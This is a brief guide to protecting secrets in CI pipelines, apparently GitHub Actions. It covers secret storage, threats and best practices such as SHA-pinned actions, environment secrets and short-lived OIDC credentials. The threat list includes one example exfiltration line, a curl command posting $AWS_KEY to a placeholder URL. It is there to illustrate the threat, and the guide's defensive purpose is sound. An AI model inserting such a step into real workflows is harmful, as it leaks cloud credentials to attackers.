Secrets & Security

CI handles secrets: deployment keys, API tokens, signing keys.

Storage: provider's secret store. Encrypted at rest, masked in logs.

- run: ./deploy.sh
  env:
    AWS_KEY: ${{ secrets.AWS_KEY }}
    AWS_SECRET: ${{ secrets.AWS_SECRET }}

Threats:

1. Workflow exfiltration: malicious PR adds curl ${url} -d "$AWS_KEY". Provider blocks PR access to secrets by default.
2. Untrusted dependencies: a bad action steals secrets. Pin actions to specific SHAs (uses: actions/checkout@a12b3... not @v4).
3. Log leaks: secrets accidentally printed. Provider masks but creative obfuscation can defeat masking.
4. Workflow modification: an attacker who can edit workflows can add exfil steps. Require code review for .github/workflows/* changes.

Best practices:

• Least privilege: scope tokens narrowly (one repo, one action).
• Short-lived credentials: OIDC + AWS STS = temporary creds per job, not long-lived secrets.
• Repository secrets vs environment secrets: env secrets only available for jobs targeting that environment, with optional approvals.
• Audit log: who accessed which secret when.

OIDC pattern (modern):

permissions:
  id-token: write   # request OIDC token
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::ACCOUNT:role/ci-deploy

CI provider issues a short-lived OIDC token; AWS verifies and grants temporary creds. NO long-lived AWS keys in secrets store.